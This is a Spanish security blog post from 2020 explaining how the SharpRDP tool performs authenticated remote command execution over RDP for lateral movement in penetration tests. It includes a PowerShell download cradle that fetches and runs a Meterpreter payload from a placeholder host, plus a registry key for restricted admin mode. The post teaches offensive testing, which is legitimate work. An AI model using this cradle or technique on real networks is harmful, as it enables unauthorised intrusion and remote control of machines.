martes, febrero 18, 2020

SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

El movimiento lateral es algo que siempre interesa a un pentester y a un equipo de Red Team. Los investigadores buscan nuevas técnicas y nuevas formas de hacerlo. Se puede estar al día en algunos recursos como el blog de SpecterOps o en iread.team. Pero sobretodo, lo más interesante es estudiar y poner en práctica en tu propio laboratorio, mirar qué ocurre por debajo, cómo funciona la técnica y cuáles son las detecciones y mitigaciones.

Figura 1: SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

Como dice el autor de SharpRDP, no es una nueva técnica lo que se va a mostrar aquí, pero si es otra forma de hacer movimiento lateral, y en este caso a través del uso del escritorio remoto o RDP (Remote Desktop Protocol). La idea que hay detrás de SharpRDP es llevar a cabo un movimiento lateral a través de un canal C2 (Command&Control) existente.

Figura 2: SharpRDP en GitHub

Esto es interesante pero, ¿cómo llevarlo a cabo? La explicación que da el investigador 0xthirteen, autor de la herramienta SharpRDP, que se puede descargar desde el Github de la aplicación, es magnífica, ya que se explica cómo utiliza una DLL (Dynamic-Linked Library)  del sistema para hacer la ejecución de comandos remotos a través de la autenticación en el sistema.

¿Cómo funciona?

El sistema operativo Microsoft Windows dispone de una DLL llamada mstscax.dll. Esta DLL da acceso a las acciones que se pueden realizar a través del RDP. Esta DLL es utilizada por, seguramente, casi todos los clientes de RDP. Por ejemplo, Remote Desktop Connection, que tantas veces se usa en el Hacking de Windows para atacar redes de sistemas Microsoft, hace uso de esta librería.

Figura 3: Hacking Windows "Ataques a sistemas y redes Microsoft"

Esta DLL en concreto es una biblioteca ActiveX COM para Terminal Services. Como dice 0xthirteen, esto puede ser utilizado para generar una pequeña aplicación de consola que lleve a cabo la ejecución de comandos remotos de forma autenticada a través del protocolo RDP sin que se tenga que ejecutar un cliente GUI o un Proxy SOCKS.

Figura 4: Ejecución de comandos sin GUI vía SharpRDP

El proyecto SharpRDP es una pequeña herramienta de consola .NET, la cual puede ser utilizada, y utilizaremos, para realizar este movimiento lateral. En la Figura 4, tienes la forma de usar la herramienta.

¿Tiene alguna limitación?

La verdad es que sí y no. Vamos a explicarlo. La herramienta puede utilizar credenciales en texto plano para su autenticación contra la máquina remota. Esto será algo más o menos normal o la situación normal. Puede ser que encontremos que el host remoto tenga activado el modo de administración restringido, el cual se puede visualizar en la siguiente ruta del registro y con la siguiente clave.
HKLM\System\CurrentControlSet\Control\Lsa 
DisableRestrictedAdmin = 0
Si esto es así, se podrá utilizar SharpRDP en el mismo contexto del usuario actual y no hará falta introducir credenciales en texto plano, y esta máquina será perfecta para movernos lateralmente por la empresa en un Ethical Hacking.

Figura 5: Manual de Ethical Hacking

Vamos a mostrar un ejemplo de la ejecución básica de SharpRDP. Se recomienda echar un ojo al "usage" de la herramienta, porque tiene varias opciones interesantes. Lo primero es utilizar la autenticación RDP desde la consola para ejecutar, por ejemplo, una calculadora sobre la máquina remota.

Figura 6: Petición de calc.exe vía SharpRDP

Como se puede ver en la siguiente imagen siguiente, se obtiene una calculadora. Si la sesión de usuario no está creada, se crea y se ejecuta el código. Si la sesión está creada, el usuario es expulsado de la sesión y se ejecuta el código.

Figura 7: Ejecución de calc.exe remoamente

Hay que decir que SharpRDP lo estamos ejecutando desde una máquina con Windows 10. Hay que indicar también que vemos la posibilidad sencilla de ejecutar instrucciones que nos devuelvan una sesión, por ejemplo, de Meterpreter de nuestro querido Metasploit o, ¿por qué no? una iBombshell remota.

Figura 8: Libro de Hacking con Metasploit: Advanced Pentesting
de 
Borja Merino y Pablo González

A continuación se puede visualizar la instrucción que queremos ejecutar en remoto: iex(new-object net.webclient).downloadstring(‘http://[ip]:[port]/’). Es decir, se ejecuta una consola Powershell y ésta genera un objeto de tipo net.webclient que se conectará una dirección y un puerto.

Figura 9: Ejecución remota de PowerShell descargando Meterpreter remotamente

¿Qué hay en esa dirección IP y ese puerto? Pues un Meterpreter que servimos con el módulo exploit/multi/script/web_delivery.

Figura 10: Meterpreter conseguido vía uso de movimiento lateral RDP

Tras unos segundos de tensión, se obtiene la sesión a través del módulo web_delivery de Metasploit para continuar con nuestro trabajo.

Otras situaciones que no maneja SharpRDP

Existen algunas excepciones que nos podemos encontrar con SharpRDP y que tampoco maneja bien, por ejemplo:
Autenticación multifactorial: No se maneja la autenticación MFA, por lo que se desconectará SharpRDP. 
Mover archivos: SharpRDP no tiene la posibilidad o capacidad de mover archivos sobre el protocolo RDP.
Una técnica interesante y una herramienta interesante, y bastante moderna como se puede ver en el Github, apenas tiene un mes. Una solución interesante para llevar en la mochila del pentester.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 11: Contactar con Pablo González

No hay comentarios:

Publicar un comentario